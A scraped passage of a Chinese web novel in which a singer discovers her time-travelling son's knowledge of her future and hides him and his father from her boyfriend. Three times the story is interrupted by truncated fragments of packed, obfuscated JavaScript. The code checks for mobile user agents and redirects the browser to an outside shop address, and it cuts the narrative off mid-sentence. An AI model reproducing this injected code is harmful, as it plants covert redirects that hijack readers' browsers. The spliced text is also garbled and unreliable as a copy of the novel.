年上熙手指滑动屏幕,一眼望去全是“我错了”,他甚至都不说错在哪,错的原因,只是告诉你,他错了,以后全听你的。 你气不过,把所有的问题跟他一件一件地掰扯明白,他最后还是一句,“好的,我知道错了,以后都听宝宝的。” 他永远都get不到你生气在意的点,可是一个都能考上清北的人,理解能力不至于这么差吧。 他是真的get不到,还是习惯装傻充愣,糊弄过去呢? 她已经无暇再去思考,重复的问题不断循环,她是真的累。 至于这段感情,为什么能够持续一年多,也多亏了他们彼此工作的性质。 他转型做了演员后,两个人基本上两三个月见一次面,微信聊天也总是错时回复,谈恋爱是轮回,吵架也是。 时间一长,当初为什么生气都忘了。 其次,她舍不得。从小父母离异,后来都有了各自的家庭,她在哪一边都是拖累都是客人。 从小到大,能陪在她身边的人本就不多,她不舍得放弃一个在她身边这么久的人。 她知道最终他们还是糊弄着和好,但她不想这么快,尤其是他竟然私底下跟陆安抱怨吐槽她。 回到公司,苏颜过来说,演唱会的舞美设计团队过来了,想要跟她当面聊一聊。 在整个交流过程中,年上熙没在状态,一直在走神。 苏颜以为她还在为情所困,殊不知她想起来昨晚的梦。 十年后她才办人生第一场演唱会? 这未免太过荒唐,如今万事俱备,就连大麦也上架了预约抢票链接,怎么可能没有举办成功? 年上熙想不到理由。 可万一是真的呢?阿蛋从未来穿越过来都是真的,那如果梦不是梦,而是她真实的未来呢。 年上熙激起一身冷汗。 努力回想梦中细节,场景都在十年后,没有眼下能验证的。 除非…… 陆阿蛋原本医生建议住院三天,但年上熙不放心,又让陆桉陪他在医院多观察了两天才出院。 亲子鉴定第二天出来结果,毫无疑问,陆阿蛋就是她的孩子。 原本打算与陆桉商量后面的问题,不过这段时间她工作行程很满,飞杭州参加了两场品牌活动。 而江澈也跟同组女明星姜小婉单独聚餐,一起回酒店被拍,挂了两天热搜。 年上熙压根没看见,同事怕她伤心压着没敢告诉她,直到江澈自己发消息给她解释,求饶,认错,她才知道这个事。 看到时她脑子有点懵,理性分析也知道,这不过是剧组炒cp常见操作,她回他两句表示知道了,又投入到紧急地工作中去。 她乘夜班飞机凌晨到家,一觉睡到九点。中午收到陆桉的消息。 陆桉:【你下午有空吗?能不能照看一下阿蛋,我要去基地量尺寸,大约三个小时。】 彼时年上熙正在家里写歌。 演唱会的第一首原创单曲,是一首关于爱情的小甜歌,曲调部分基本完成,目前处于填词阶段,可能她总吃爱情的苦,写词并不是很顺利。 年上熙:【直接来我家吧。】 接着她把家庭住址发过去。 陆桉几乎秒回:【半个小时后到。】 回完消息后,陆桉给陆阿蛋穿上羽绒服,抱起他来时,发现他的小书包沉甸甸的。 书包是他自己收拾的,悄摸摸地倒腾了许久,“书包里装的什么,这么重?” 陆阿蛋板着一张小脸,认真道:“爸爸,你是不是最近没吃饭,都抱不动我了。” 陆桉被甩了好大一口锅,也没惯他,“那你自己下来走。” 陆阿蛋抱紧陆桉的脖子,一动不动,陆桉故意逗他往下拽,他抱着脖子撒手。 “哼,爸爸,你再欺负我,我要跟妈妈告状。” 人不大,胆子挺肥,学会威胁人了。 陆桉懒得理他,“嗯,我好害怕。” 今天格外冷,陆阿蛋刚出院,陆桉不放心挤地铁,叫了辆专车。 年上熙住在有名的别墅区,私密性很强,访客需经业主再三确认才放行。 不过年上熙似乎提前打过招呼,父子俩一路畅通。 陆桉看到了江澈的绯闻热搜,评论区不忍直视。他不确定年上熙现在情绪如何,只能先嘱咐儿子。 陆桉:“阿蛋,今天你……” 话音未落下,陆阿蛋小手啪一下,捂住陆安的嘴。 “我一定不惹妈妈生气,我一定乖乖听话,等你回来接我,你不要说了,爸爸,你都说过好多遍了。” 陆桉不知道这小孩随了谁,才四岁的一个小鼻嘎,他竟然有点儿治不了他了。 走进大厅,陆桉给年上熙发消息。 陆桉:【我到了。】 年上熙接着回复:【门开着,你们上来吧。】 陆桉牵着陆阿蛋坐电梯,陆阿蛋问,“爸爸,你是不是很热,为什么手手湿湿的?” 陆桉一怔,擦了擦手心的汗,看着不断上升的楼层数字,“没有。” “叮”电梯门打开。 年上熙已经在门口等着了,陆阿蛋跑过去扑到她怀里,“妈妈,我好想你呀!” 年上熙亲了亲他脸颊,“我也想你。” 与陆阿蛋互动完,她看向陆桉,“进来坐会吗?” “不了,他睡过午觉了,下午可能会闹腾,麻烦你了。” “你去吧,我会好好照顾他的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311218|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆桉离开后,陆阿蛋走进房间,乖乖地等着年上熙给他换鞋,一坐到沙发上,拉开书包,先做了一个预备动作。 “妈妈,你闭上眼睛。” 年上熙闭上眼,又忍不住偷瞄。 他从书包里掏出一个打包盒,“可以睁开了!” 年上熙看见一个餐盒,“这是?” “爸爸做的炸洋芋和包浆豆腐,可好吃了。” “你特意给我带的?” “对呀!是妈妈最喜欢吃的。” “我很少吃这些。” “怎么会?妈妈可爱吃了!平时爸爸不做,只有妈妈回来他才做。但爸爸小气,总不让我们多吃,所以等他去工作,妈妈就带我去厨房偷吃!” 年上熙能想象出来,大概是为了身材管理,她让陆桉定量做,但又嘴馋,才会带着孩子偷吃。 “妈妈,我们快吃,这次爸爸不会这么快回来的。” 她以前也吃过狼牙土豆,觉得没什么特别。可这一口下去,她立刻明白为什么会偷吃了。酥脆的土豆裹满酱料,豆腐一咬就爆浆,越吃越上瘾。 于是吃过午饭的她,没一会儿就把一整盒消灭得干干净净。 小家伙也意犹未尽。 最后一颗土豆,母子俩没了温情,只剩手速和嘴速的比拼。最终年上熙凭二十一岁的“高龄”获胜。 咽下去后才想起是不是有点丢当妈的样子,但孩子似乎习以为常,也没哭闹。 “妈妈,你是不是好几天没吃饭了?” 刚吃完外卖的年上熙:“……” 要不是小家伙表情懵懂认真,她简直觉得他在讽刺她。 “爸爸说的没错,妈妈瘦得风都欺负你,太可怜了,我应该让着你。等下次爸爸做,我再给你带。” 房间里暖气充足,阳光透过窗户洒进来。睡过午觉的小家伙精神十足,趴在地毯上翘着小脚画画。 她弹着吉他哼唱新写的段落,没想到小家伙也跟着唱起来。 年上熙问:“你怎么会唱?” 虽然年纪小,但他音准不错,一听就是她刚写的这首歌。 小家伙有点小得意,以为是在夸他,“妈妈,我们家只有爸爸五音不全。” 年上熙被逗笑了,过去抱住他,“你从哪儿学的这首歌?” “妈妈唱的呀,爸爸说,是我还在妈妈肚子里就听妈妈唱,所以我一出生就会了。” “你这么厉害呀!”年上熙夸他,他傲娇得不行。 “妈妈演唱会第一首歌可是写给蛋蛋的。可是之后每首歌都是写给爸爸吧,哼。” 年上熙听得头皮发麻,心脏加速,深呼吸,问道:“你看过妈妈的演唱会吗?” “看过呀,是妈妈的第一次演唱会,我跟爸爸坐在第一排,结束后我还跟爸爸一起去给妈妈送花。” “可是蛋蛋太矮了,妈妈没看见我,冲过去抱住爸爸亲亲。哼,长大后,我一定要比爸爸长得还要高。” 年上熙深呼吸,整个人僵住。 那不是梦,那就是未来。 她梦中的场景与阿蛋记忆中的画面一样。 她仍不甘心,紧张地问,“那是妈妈的第一场演唱会?之前没有办过吗?” 8. 第 8 章 “是啊。”小家伙刚想开口,却突然用小手紧紧捂住了嘴巴,睁着一双懵懂的大眼睛,巴巴地望着她,不说话了。 “怎么了?”年上熙轻声问。 “爸爸不让我在你面前提……那个世界的爸爸妈妈。”他声音小小的,带着点犹豫。 “为什么?” “阿蛋的脑袋想不明白,”他歪了歪头,努力组织着语言,“但爸爸说,要尊重现在的妈妈。” 年上熙愣了一下。她明白陆桉的用意,她自己又何尝不是这样想,不该让那个没发生的未来,干扰此刻自己的人生。每一步,她都想自己清清楚楚地走。 可心底深处,却有什么东西在拉扯。一个近在咫尺、盼了多年的梦想,竟要推迟整整十年? 她不可能不好奇中间发生了什么,更不可能真的无动于衷,坐等命运降临。 “没关系,”年上熙蹲下身,平视着陆阿蛋的眼睛,声音放得又轻又柔,“是妈妈自己想知道,不算你破坏和爸爸的约定,好吗?” “那……好叭。” 陆阿蛋想了想,终于松开了捂嘴的小手,小大人似的叹了口气,“因为妈妈去拍大象、长颈鹿,还有企鹅宝宝了呀!” 话题转得太快,年上熙一时没跟上,“拍大象?那……我不唱歌了吗?” “可是妈妈是摄影师呀。”陆阿蛋说得理所当然。 “摄影师?” 年上熙心头猛地一跳,震惊得几乎失语。 她怎么会成了摄影师? 是,除了唱歌,她是喜欢拍照,可那只是爱好,她生命里最炽热、最不可替代的,分明是唱歌啊! 一股慌乱猝不及防地攥住了她。 “妈妈为什么……去当摄影师了?”她听见自己的声音,带着一丝不易察觉的颤抖。 “因为妈妈喜欢拍照呀!” 他似乎觉得这还不够有说服力,又补充道,“爸爸画了好多妈妈,但妈妈最喜欢拍蛋蛋!” 四岁半的孩子,知道的终究有限。可正是这寥寥几句,像几块尖锐的拼图,硬生生拼出了一个让她感到陌生甚至荒谬的未来。 她竟然放弃了舞台,拿起了相机。 这就像一个最爱苹果的人,突然宣布此生只吃梨。 除非……除非那场演唱会,真的出了无法挽回的意外,彻底断送了她的歌手之路。 可到底发生了什么? 心口像被什么东西堵着,又闷又慌。 但转念一想,眼下一切似乎都在正轨上。那场预知梦,或许已是命运给予的唯一预警。能提前窥见结局,已是侥幸,她怎能奢望还有第二次机会? 当务之急,是必须自己找出破绽,揪出隐患,亲手改写结局。 想通这一点,年上熙感觉压在心口的石头轻了些。 她陪陆阿蛋玩了一会儿。知道他喜欢乐高,家里早已备下许多。 阿蛋专注力极好,聪明又认真,搭出的东西总带着天马行空的想象力。颜值上陆桉大概只算“参与有奖”,但这智商……年上熙可不敢居功。 他不哭不闹,有需求会乖乖地跟你说,语言表达清晰得让她惊讶,还动不动就凑过来亲亲抱抱,嘴巴跟抹了蜜,情绪价值拉满。 可见,在未来,陆阿蛋被养得极好。 可阿蛋透露在未来,外出工作的是她,更多陪伴在孩子身边的,是陆桉。 这个认知让她心里莫名泛起一丝微妙的不服气,想要陪伴这个孩子、参与他成长的心情,变得更加强烈起来。 陆桉很准时,三小时后,消息进来。 陆桉:【我在大厅了,你把阿蛋送下来吗?】 年上熙看着屏幕,指尖顿了顿,回复:【门开了。】 陆桉显然愣了一下,随即明白这是让他直接上去。 走到门口,门果然虚掩着。他正迟疑着是否该进去,年上熙穿着一身柔软的绿色恐龙睡衣走了出来。 “进来啊?”她看着他。 陆桉怔住了。 这是他第一次见到居家的年上熙,褪去了舞台上的光芒,整个人裹在毛茸茸的睡衣里,柔软,干净,像清晨带着露珠的植物,有种不设防的漂亮。 而他呢? 刚从工地回来,身上沾着灰,裤腿和鞋底蹭满了泥点,鞋子还不小心被工地的铁丝刮了个破洞。 他下意识地后退了小半步,声音里带着局促:“我就不进去了,我带他……” “爸爸!” 陆阿蛋像颗小炮弹似的从年上熙身后蹦出来,身上是同款的绿色小恐龙睡衣,背后还拖着条短短的尾巴。 一大一小,两件睡衣,画面可爱得让人心头发软。 “妈妈给我买了好多玩具,还有新衣服!你快来看呀!” 陆阿蛋冲过来,一把抓住陆桉的手就往里拽,迫不及待要分享他的快乐。 陆桉还想婉拒,年上熙开口道:“进来吧,正好,我们商量一下阿蛋的事。” 话说到这份上,陆桉只好跟了进去。 站在玄关,他踌躇了几秒,目光落在地板上:“有……拖鞋吗?” “家里没有男士拖鞋,你直接……” 年上熙顺着他的视线看去,这才注意到他脚上那双白色板鞋,已经裹满了泥泞,在光洁的地板上格外扎眼。 她连忙转身去玄关柜里翻找,好不容易拎出一双略显陌生的男士拖鞋,脸上闪过一丝不自然:“是……江澈的。不过他就只穿过一次。” 陆桉闻言,睫毛轻轻垂了下去。 他们是情侣,家里有对方的拖鞋,再正常不过。 他没动,声音低了些:“我怕他介意。” “没事,我再给他买一双就是了。” 年上熙话音刚落,就听见陆阿蛋在客厅兴奋的呼唤,便先转身进去了。 陆桉垂下眼帘,沉默地换上那双拖鞋,看到她干净华丽的鞋与他的脏鞋摆在一起,实在扎眼,又小心地将自己那双沾满泥污的鞋子拎起,轻轻放在了门外。 年上熙住的是两百多平的大平层,视野开阔。 陆桉没敢四处打量,只匆匆扫了一眼。户型通透,开间极大,整面的落地窗本该将城市风光尽收眼底,此刻却被厚厚的窗帘严严实实地遮住,只靠客厅明亮的顶灯驱散昏暗。 陆阿蛋跑过来,拽着他的手往客厅地毯上领:“爸爸你看!” 地毯上散落着各式各样的玩具礼盒,还有几个印着名牌logo的儿童服装袋。 那些牌子,陆桉原本不认识,是上次逛商场时,陆阿蛋指着店门招牌一字不差地念了出来。后来他偷偷查过,一件小孩子的衣服,价格足以抵上老家一家人辛苦大半年的收入。 而年上熙,一次就买了这么多。 巨大的经济差距像无声的潮水,瞬间淹没了他。心底翻涌起的,是对儿子难以言说的愧疚。他能给阿蛋的,实在太少。 “妈妈赚钱也很辛苦,”陆桉蹲下身,捏了捏儿子睡衣上的小恐龙头耳朵,声音温和,“有没有好好谢谢妈妈?” 陆阿蛋骄傲地扬起小下巴:“当然啦!我亲了她三大口呢!” 说完,他又窝进爸爸怀里,蹭了蹭,“爸爸,我们能把玩具都带回家吗?” “这次只能带一个。”陆桉柔声说。 阿蛋的小嘴立刻撅了起来,能挂个小油瓶:“为什么呀?可是我每一个都好喜欢好喜欢怎么办?” 陆桉把他抱到腿上,耐心解释:“如果全都带回去,你一下子玩不过来,有些玩具就会被挤在箱子里,可能很久都看不到,慢慢连自己为什么喜欢它都忘记了。它们被你忽视,会伤心的。这次我们先带一个你最喜欢、最特别的,好吗?” 阿蛋黑葡萄似的眼睛转了转,忽然从爸爸怀里溜下来,跑回玩具堆前。 他没有立刻去拿,而是蹲下来,伸出小手,挨个轻轻摸了摸。 他先碰碰小火车,小声说:“下次再来和你比赛哦。” 又拍拍积木盒:“下次我们来盖更高的房子!” 最后,他抱起一只音乐布偶小狗,紧紧搂在胸前,转身宣布:“我带小灰回家!他肚子里有妈妈的歌!” 陆桉没太明白,只见阿蛋捏了捏小狗的肚子,一段录音流淌出来。 先是年上熙和陆阿蛋嬉笑玩闹的声音,接着是她温柔的哼唱,童声稚嫩地跟着和。 陆桉几乎能想象出,当时母子俩依偎在一起的温馨画面。 年上熙端着两杯咖啡从餐厅走出来,恰好看到这一幕。 这些玩具衣服,本就是她买给阿蛋的礼物,自然都想让他带走。 可听到陆桉那番关于“选择”与“珍惜”的解释,她心头微微一动。 是啊,她可以给他买很多,但更应该教会他如何对待“拥有”。 一瞬间,她竟有种被比下去的微妙感觉。转身摸出手机,偷偷迅速下单了几本口碑顶尖的育儿书。 这方面,她可不能落后。 “咖啡。”她把杯子递给陆桉。 陆桉接过来喝了一口,眉心几不可察地舒展了一下,是他习惯的甜度。 “三块方糖,”又解释,“阿蛋说的。” “谢谢。其实不用都听他的。”陆桉有点不好意思,怕给她添麻烦。 “那你可小看你儿子有多难缠了。” 年上熙失笑,告诉他是阿蛋坚持要三块糖,她故意只放一块都不行,小家伙非要抓着她的手,亲眼看着三块方糖落进杯子才罢休。 陆桉脸上露出歉意:“对不起,我跟他谈过了,但他还小,嘴是个小漏勺,我会再跟他谈的。” “其实没关系。”年上熙盯着陆桉看,忽然往前凑近了一点,“陆桉,你是不是……有点怕我?” 陆桉的脸“唰”地一下红了,眼神躲闪了一下,“什么?” “你对我不用总是这么小心翼翼的,”年上熙笑了笑,“我又不吃人。” 这句玩笑,让陆桉也不禁跟着弯了弯嘴角,一直绷着的神经稍稍松弛下来。 陆桉整理了一下思绪,说起正事。 “阿蛋的日常起居我来负责。不过看他原来的生活条件很好,不能跟着落差太大,所以经济方面,需要我们一起承担。” 年上熙直接道:“他的所有费用我来出,你只管好好照顾他就行。” 陆桉张了张嘴,最后又闭上,没有在钱上逞强,但他也有自己的坚持:“那日常吃饭、买菜的钱,我来负责。” 年上熙抿了口咖啡,没有反对。 “现在比较麻烦的是户口问题。我想落在我这边,我户口上就我一个人。你那边可能有家人,不太方便。但问题是,他要在京北上幼儿园,云南户口可能有限制。所以选学校的事,恐怕得麻烦你想想办法。” “户口落我这边吧。”年上熙突然开口。 陆桉完全怔住,半晌没反应过来。 他是因为八岁时父母矿难去世,今年奶奶又病逝,才成了户口本上单独的一页。可年上熙的父母明明都健在…… 年上熙瞪了他一眼,语气里带着点佯装的凶:“我自己一个户口本,犯法啊?” 陆桉赶紧摇头:“不是……但这会不会影响你的工作?” 这才是他最担心的。他知道年上熙有多热爱音乐。如果户口本上凭空多出一个儿子,一旦曝光,舆论的洪流,恐怕会将她辛苦筑起的一切冲垮。 年上熙何尝不知道其中的风险。但在那个预知的未来里,没有阿蛋,她的演唱会依旧没能举行,最终黯然退圈。 所以,如果结局真的无法改变,陆阿蛋的存在,并不影响什么。 “没人能随便查户口,平时我们小心一点,别被拍到同框就没事。”她故作轻松地说。 陆桉郑重点头,“这个你放心,我们一定会小心的。” 陆桉想了想又提到另外一个问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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江澈的脸出现在显示器上,同时传来他熟悉的声音: “熙熙,你在家吗?” 年上熙:“!” 门铃声密集地砸下来,一声叠着一声。 江澈的呼喊混着门响钻进来,在安静的客厅里格外刺耳。 “熙熙,我知道你在家,开下门。” 年上熙心头一紧,指尖攥得发白,他怎么这时候来了? 她猛地转头看向客厅。 陆桉已经站了起来,脸上血色褪去,身体微微绷紧,目光迅速与她交汇,里面是和她如出一辙的慌乱。 而陆阿蛋还懵懂无知地坐在地毯上,小手摆弄着一个乐高零件,正仰着小脸,奶声奶气地向陆桉继续报着菜名。 “爸爸,我还想吃炸洋芋……我一点都不馋的,真的,是年年想吃……” 年上熙目光扫过满地的玩具和散落的恐龙睡衣,又落回地毯上还浑然不觉的陆阿蛋身上,心瞬间提到了嗓子眼。 她压低了声音,几乎是气音,同时用手急促地指向主卧方向,“快!进房间,躲起来。” 不能被发现,绝对不能让江澈看到这一幕。 解释不清,也无法解释。 陆桉瞬间反应过来,行动快过思考。 他一个箭步冲上前,弯腰一把陆阿蛋抄进怀里,另一只手慌乱地去捞地毯上,散落的几个显眼的玩具,和那几只名牌服装袋。 动作太大,一个乐高小零件从他臂弯里滑落,咕噜噜滚到了茶几底下,此刻也顾不上了。 “爸爸,我们要走了吗?我不要走,我还想再玩一会儿。”陆阿蛋有些闹。 “不走,不走,蛋蛋乖,别出声,我们在玩一个游戏。” 一听游戏,陆阿蛋瞬间眼睛亮起,乖乖配合地捂住嘴巴。 陆桉抱着他,拎着东西,大步朝年上熙指的主卧方向冲去。 年上熙也手忙脚乱地抓起,沙发上陆阿蛋的外套,又瞥见地毯上还有音乐布偶狗。 就在陆桉抱着阿蛋,堪堪闪身进入主卧房门,年上熙正要把小狗也塞进去的刹那。 “嘀——咔哒。” 清晰的门锁电子音响起。 是密码锁被正确开启的声音。 年上熙头疼,她忘了之前给过江澈家里密码。 她眼睁睁看着玄关处的门把手转动,房门被向外拉开一条缝。 她来不及思考,手臂猛地用力,将手里的小狗玩偶往主卧门内一抛,同时“砰”地一声轻响,将主卧的门关紧。 几乎就在主卧门合拢的同一瞬间,客厅的大门被完全推开。 江澈颀长的身影出现在门口。 他眼底带着疲惫,但看向年上熙的眼神急切而专注。 “熙熙!” 他几步上前,不由分说地将还有些发愣的年上熙,紧紧拥入怀中,力道大得让她微微踉跄。 “对不起,我错了,你别生气好不好?让你受委屈了。网上的那些你千万别信,那都是公司和剧方安排的炒作,我跟她真的什么都没有,除了拍戏,私下连话都没多说两句……” 她的心跳还没从刚才的兵荒马乱中平复,大脑嗡嗡作响,一半注意力不得不分给身后紧闭的主卧门,另一半才勉强应付眼前的江澈。 “我、我没生气。” 她从他怀里挣出一点空隙,声音有些干涩,试图让自己听起来平静自然,“你现在不是在横店拍戏?怎么突然回来了?” “以前发生这样的事,你都会跟我吵,跟我闹,但这次我给你发了那么多消息解释,你就敷衍地回了一句知道了。” 他的声音带着急切和讨好的意味,“我不回来,我怕你就不要我了。” “你乱想什么?我知道都是炒作,所以我真没生气。” 年上熙勉强扯出一个笑容,心里却在呐喊:求你快走吧! 9. 第 9 章 年上熙勉强扯出一个笑容,心里却在呐喊:求你快走吧! 江澈又说,“跨年那天是我没考虑你的感受,我跟你道歉,我以后一定支持你的事业。你能不能别不理我了?” “我没有不理解,倒是你,你怎么能撇下一剧组的人回来了?你现在赶紧回去拍戏。” 江澈发给她过通告表,这几天都是紧锣密鼓的通告安排。 “剧组哪有你重要。”江澈双手扶着她的肩膀,仔细端详她的脸,想从中找出哪怕一丝愠怒的痕迹,“熙熙,你骂我也行,别不理我。” 年上熙急需盯着他不动。 江澈妥协,“我请过假了,不然我怎么敢跑回来。” “真的?没骗我?”年上熙继续逼问。 “经纪人那边我打过招呼,到明天上午都没安排。我就在你这儿眯一会儿,一大早就往这赶,累死我了。” 他说着,目光躲闪开她的眼睛,越过她肩膀,投向客厅内部,脚步也下意识地想往里走,方向正是主卧。 年上熙心头警铃大作,几乎是本能地横跨一步,挡在了他身前。 “等等!” 江澈弄得一怔:“怎么了?” “没、没什么……” 年上熙脑子飞快转动,脸颊因为紧张而微微发热,“就是……我房间有点乱,还没来得及收拾。” “我又不嫌弃你。” 江澈看见年上熙瞪过来的眼神,妥协道:“好好好,不进不进,这么害怕我进你房间,不知道的还以为你背着我偷人了呢?” 年上熙心虚地脸都红了,“你胡说什么……” 此时主卧内突然传来,东西掉在地上的声音。 江澈的视线转向主卧门,皱眉道:“什么声音?你房间里有人?” “没有,是……是猫,隔壁的猫有时候会跑到我阳台上来,可能刚才碰掉了什么东西。” 她心跳如擂鼓,一颗心悬在嗓子眼,生怕下一秒主卧里就炸出阿蛋的声音。 而房间里,陆桉死死圈住怀里不安分的小崽子,一手紧紧捂着他的小嘴,目光落在地上滚远的遥控器上,连呼吸都放轻了半分。 年上熙手心冒汗,赶紧岔开话题,拉着他的胳膊往客厅沙发方向带。 “你、你不是累了吗?就在沙发上休息一下吧,我给你拿条毯子。” 江澈刚走两步,目光扫过地毯,那里有儿童积木以及小玩偶。 年上熙顺着他的目光看去,心里咯噔一下,暗叫不好。 “这怎么有小孩的玩具?”江澈弯腰捡起来。 “是……是粉丝送的,前段时间活动粉丝寄来的一堆玩偶玩具,我随手放客厅了,还没来得及收拾。” 江澈“哦”了一声,没再追问。 过了几秒,他身体微微前倾,看着年上熙,突然开口:“熙熙,你今天怎么有点……” 话音未落,一阵清脆急促的手机铃声骤然响起。 是年上熙放在茶几上的手机在震动、嗡鸣。 电话那头,传来江澈经纪人王姐焦急的声音。 “上熙啊,打扰你了。江澈有没有联系你啊?这臭小子真是气死我了。今天一大早,剧组那边就炸了锅,全组人等着他拍重场戏呢,结果人影都不见。” “电话关机,微信、短信全不回。他有没有跟你联系过?有说他去哪儿了吗?” 年上熙握着手机,目光缓缓移到江澈脸上。江澈眼神躲闪,全是被抓包后的尴尬和心虚。 “王姐,他……他是在我这里。” “什么?我就知道。”王姐声音停顿了几秒,“你们谈恋爱,也要有点分寸吧,耽误一天的戏份,全剧组等着他,多少经费在烧?” “我马上让他回……” 年上熙话还没说完,王姐就挂断了电话。 年上熙脸色冷下来,“你现在赶紧回去。” 江澈还想挣扎一下:“熙熙,我……我不是故意骗你,我就是太想见你了,怕你生气……” 年上熙打断他,“现在,就回去,我给你订机票。” “熙熙,等我处理完那边,我再跟你好好解释……”他一边匆忙换鞋,一边还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆桉沉默地听着,顿了几秒,“对不起,给你添麻烦了。” “陆桉,阿蛋是我的孩子,他不是我的麻烦。” 陆桉迟钝几秒,点了点头,低声道:“我明白了。” 阿蛋不是麻烦,他是。 陆桉抱着阿蛋走了。 年上熙只觉全身无力。 10. 第 10 章 江澈从年上熙家出来时,天已经黑透了。 他坐上出租车后,脑海中不断闪现,年上熙家门口出现的男士板鞋。鞋子不是什么名牌,看起来又脏又廉价,还破了个大洞,像是刚从工地回来。 即便为了佯装家中有男人在,但怎么看都不像是年上熙的品味。 江澈越想越心烦意乱,他忽略掉手机跳出的即将登机消息。 “师傅,不去机场了,先去另一个地方。” - 六点半左右,陆桉才领着陆阿蛋回到家,手里还拎着一大袋食材。 陆阿蛋又犯起了小猪瘾,缠着他想吃小锅米线。家里有从云南背回来的米线与酸腌菜,酱丰圆老酱也还有一包,他又去菜市场买了西红柿,猪肉沫和韭菜。 陆桉忙着输入密码开锁,陆阿蛋还在滴滴嘟嘟地说,“妈妈也喜欢吃米线,我们做好了,叫她过来吃好不好?” “这次你不偷偷给她带了,还让她过来吃?”陆桉逗他说。 “因为米线有汤汤啊……你,你知道。”陆阿蛋还得意自己天衣无缝,这下惊了。 陆桉把中午剩下的炸洋芋放进了饭盒里,本来打算放凉后,放进冰箱,等他去厨房,饭盒不见了。 而陆阿蛋鬼鬼祟祟,偷感很重地护着书包,他就猜到了。 陆桉捏捏他的小脸,“小家伙,以后偷吃后,记得擦擦嘴巴。” 陆阿蛋小手摸了下嘴,露出疑惑的表情,“我吃完都擦了呀,我很讲卫生的。” 陆桉被他逗笑,然而门锁打开走进去,他看到玄关处,多出的一双男士名牌球鞋,笑容瞬间滞住。 “Surprise!”江澈从客厅里大摇大摆地出来,“惊不惊喜,意不意外?” 陆桉愣了一下,很快反应过来,“你怎么进来的?” 陆桉从宿舍搬出来后,告诉过他住址,但不包括密码。 江澈摊摊手,“654321很难猜吗?” 陆桉:“……” 六月初五,四月初三,二月初一,分别是陆桉父母与奶奶的生日。 在别人看来这串数字太过简单,用来做密码太过儿戏,但对他而言,却有非比寻常的意义。 但这次,陆桉想的是,等他走了,无论如何密码都要改掉。 陆桉先给陆阿蛋换上鞋子,打开橱柜的瞬间,他的手微顿。 橱子里的鞋,被动过。 他有强迫症,每双鞋的摆放位置与角度,他都有自己的一套方式,但现在,鞋子的位置变了。 即便很轻微,但他一个建筑系的学生眼睛就是尺。 江澈这才看见,乖乖等着陆桉换鞋的小孩,小孩也不怯,好奇看着他。 “谁家小孩?”江澈问。 “我表叔家的,他们来京北有事,让我帮忙看几天。”陆桉早想过的一套说辞。 江澈知道陆桉父母双亡,跟着奶奶长大,但不知道他还有表叔。 江澈看了眼小家伙脸说,“别说,跟你长得还挺像。” 陆桉没应,不知道他是从哪看出来的,明明像年上熙更多,他更像是个送货的。 换完鞋陆阿蛋走进去,江澈问他,“你叫什么名字?” 陆阿蛋无视他,径直走到客厅地毯玩玩具。 “嘿,这小孩。” 江澈嘴上这样说的,但目光却准确地落在陆桉换下的鞋上。 与在年上熙家看到的款式纹路都一模一样。只不过,年上熙那双脏兮兮的,还有破损,陆桉这双很干净,像崭新的一样。 “你这双鞋到哪买的?”江澈直接问。 陆桉摆正鞋头,拎着菜走进去,“附近的商场,怎么了?” 江澈盯着陆桉说,“我刚才熙熙家过来,她家门口也有一双一模一样的。” 陆桉没什么情绪变化,菜放到厨房台面上,语气平淡,“给你买的?” “不是,她说是买来伪装家里有男人在,更有安全感。” “你在怀疑她。”陆桉肯定的语气,走进厨房,开始泡米线。 “怎么会!”江澈矢口否认,跟进厨房,大声道,“那双鞋又脏又廉价,熙熙怎么会看上这种男人,压根不是一个层次好吧。” 陆桉的手微微一顿,又继续清洗西红柿。 江澈又自顾自地说,“只是自从上次跨年吵架之后,她对我一直淡淡的,我心里不得劲,慌得很,她不会真的想跟我分手吧?” “不会。”陆桉几乎脱口而出,说完他也知道自己,多嘴了。 江澈也愣了一下,看过来,“你怎么知道?” 陆桉没抬头,刀落在砧板,“你不是说她一生气,就跟你提分手,在一起这么久,她都提几次了,也没见你们真的分开。” 江澈拿了个洗好的西红柿啃了口,“说的也是,她还是很喜欢我的,就是脾气不太好,不过我还是愿意包容她的。” 陆桉低着头切西红柿,先剥了皮,一刀一刀,细细密密地剁成碎末。 陆桉忽然开口,“如果不愿意了呢?” “什么?”江澈愣一下,然后反应过来,“怎么会,我可是全世界最爱她的人。” 陆桉开始洗韭菜,一株一株地洗干净叶子上的泥,低声道:“你最好永远记得。” 江澈没听见,他把吃剩的西红柿扔进垃圾桶,忽然道:“走了,要去机场了。” “我做米线,很快就好了。”陆桉挽留他。 “再不走,只能赶下一班了,我要晚去半个小时,我经纪人能杀了我。” 江澈走到客厅,陆阿蛋坐着玩乐高,他踢踢他的小屁股,“走了,小孩,下次告诉我你的名字。” “滚蛋。” “嗯?” “滚蛋的蛋。” 江澈愣了。 陆桉说,“他叫蛋蛋。” 江澈笑了,“吓我一跳,还以为叫我滚呢,不是,谁家好人取这个名啊?” 江澈走下楼梯,看着亮着灯的房间,陆桉没有不对劲的地方。 何况,年上熙门口的那双鞋破了洞,而陆桉现在脚下这双,干净且完好。 看来真是他想多了,陆桉的鞋在哪,都不可能在年上熙家啊。 他们压根就不是一个层级,一个世界的人。 想通这一点,江澈浑身轻松,上车赶去机场。 站在阳台上的陆桉,看到江澈坐车离开。 他才走出门外,从楼道后拎出一个袋子,里面装的正是那双脏兮兮的旧板鞋。 一个小时前,从年上熙家里出来,他收到了她的短信。 